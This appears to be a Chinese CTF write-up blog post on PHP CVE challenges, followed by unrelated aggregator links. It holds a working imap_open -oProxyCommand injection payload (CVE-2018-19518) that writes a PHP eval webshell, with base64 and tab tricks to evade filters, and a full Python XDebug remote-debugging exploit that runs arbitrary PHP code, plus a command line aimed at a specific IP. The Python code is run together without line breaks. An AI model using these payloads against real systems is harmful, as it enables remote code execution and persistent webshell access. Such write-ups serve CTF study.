当前位置: 首页 > news >正文

phpcve篇

web312

CVE-2018-19518

漏洞原理

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能

imap_open(string $mailbox,string $user,string $password)

其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞

影响版本:

Ubuntu、Debian、Red Hat、SUSE

PHP 5.6.x < 5.6.39

也就是说我们可以通过对第一个参数(也就是用来ssh连接的参数)进行oProxyCommand命令注入从而实现rce!

由于是连接自然没有回显,所以我们直接写文件(写马)即可

payload:

x+-oProxyCommand=echo echo '<?php @eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}

将那部分base64编码即可,主要是为了绕过

但是空格也被过滤了,所以用%09

最终

hostname=x+-oProxyCommand=echo%09ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzFdKTsnID
4gL3Zhci93d3cvaHRtbC8xLnBocA==|base64%09-d|sh}
&username=rrr&password=rrr

主要是那几个版本以及邮箱的连接,利用原本用来ssh连接的邮箱参数进行x+-oProxyCommand注入,然后绕过用base64和%09绕过waf即可!

web314

这个简单了

伪协议不能用了,用日志包含写马或者session包含也可,因为session.upload_progress.enabled这个配置项开了!

web315

开启了远程调试模式,并设置remote_connect_back = 1

xdebug.remote_connect_back = 1

xdebug.remote_enable = 1

题目应该都是开了的

这个配置下,我们访问http://target-url/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
exp脚本如下:

#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutorpool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}def recv_xml(sock):blocks = []data = b''while True:try:data = data + sock.recv(1024)except socket.error as e:breakif not data:breakwhile data:eop = data.find(b'\x00')if eop < 0:breakblocks.append(data[:eop])data = data[eop + 1:]if len(blocks) >= 4:breakreturn blocks[3]def trigger(url):time.sleep(2)try:session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)except:passif __name__ == '__main__':parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')parser.add_argument('-t', '--target', required=True, help='target url.')parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')args = parser.parse_args()ip_port = ('0.0.0.0', args.listen)sk = socket.socket()sk.settimeout(10)sk.bind(ip_port)sk.listen(5)pool.submit(trigger, args.target)conn, addr = sk.accept()conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))data = recv_xml(conn)print('[+] Recieve data: ' + data.decode())g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)if not g:print('[-] No result...')sys.exit(0)data = g.group(1)try:print('[+] Result: ' + base64.b64decode(data).decode())except binascii.Error:print('[-] May be not string result...')

注意要在vps上运行,因为是反向连接,需要公网

运行的参数:python3 exp.py -t http://49.235.148.38:28100/index.php -c 'shell_exec("ls");' -l 9000

估计是环境又挂了!

http://www.dtcms.com/a/462006.html

相关文章:

  • 长春网站设计制作培训押注网站建设
  • 蜘蛛爬网站深入理解wordpress
  • 做电影平台网站怎么赚钱吗在线制作网站 如何禁止蜘蛛收录网站
  • KAG: Boosting LLMs in Professional Domains via Knowledge Augmented Generation
  • 商城网站建设案例app门户网站
  • 利用R语言绘制散点图
  • 宁波北仑做网站团购网站怎么做
  • 【SQLite 库】sqlite3_open_v2
  • 无人机巡检光伏电站红外异常检测研究辅导+落地
  • 网站开发完成如何上线jquery效果网站
  • react+andDesign+vite+ts从零搭建后台管理系统(二)-reactRouter
  • @uiw/react-md-editor渲染的markdown如何跳转至指定地方?我来助你
  • Reactor模型和类图设计
  • 包头网站建设易通null wordpress theme
  • 项目外包公司可以去吗九江市seo
  • 专题四:前缀和~
  • C++八股 —— 线程本地存储技术
  • 位运算题5:出现k次与出现1次
  • 我们为什么需要Agent?
  • MLMs之Sora:Sora 2(开启真实物理与创意融合的新一代视频生成平台)的简介、安装和使用方法、案例应用之详细攻略
  • (1)100天python从入门到拿捏
  • 昆明网站定制制作logo网站
  • 个人做哪方面的网站网站续费怎么做
  • Differential evolution with collective ensemble learning
  • 东莞网站推广策划wordpress怎么改标题和meta
  • jquery mvvm框架
  • 做外贸的几个网站如何添加网站白名单
  • 统一 IT 服务台平台:让企业服务运转更高效
  • 在线做c语言题目的网站免费自助在线公司起名
  • 70行代码展现我的“毕生”编程能力